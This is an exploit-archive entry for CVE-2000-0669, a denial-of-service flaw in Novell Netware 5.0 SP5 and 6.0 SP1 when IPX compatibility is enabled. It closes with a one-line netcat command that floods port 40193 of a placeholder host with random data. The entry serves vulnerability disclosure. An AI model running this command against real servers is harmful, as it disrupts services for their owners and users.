Novell Netware 5.0 SP5/6.0 SP1 - SMDR.NLM Denial of Service



EKU-ID: 25647 CVE: CVE-2000-0669;OSVDB-1462 OSVDB-ID:
Author: Dimuthu Parussalla Published: 2000-07-11 Verified: Verified
Download:

Rating

☆☆☆☆☆
Home


source: https://www.securityfocus.com/bid/1467/info

When Novell Netware is configured with IPX-Compatibility enabled, it is vulnerable to a denial of service attack by sending packets with random data to port 40193. Similar results are possible by sending fragmented packets. This has been observed on Novell Netware 5.0 service pack 5, other versions may be vulnerable.

This behaviour has also been reported on Novell Netware 6.0 service pack 1.

It should be noted that configuration of Netware with IPX is not supported and it is not advised for production servers.

Using the tool 'netcat':

# cat /dev/urandom | nc XXX.XXX.XXX.XXX 40193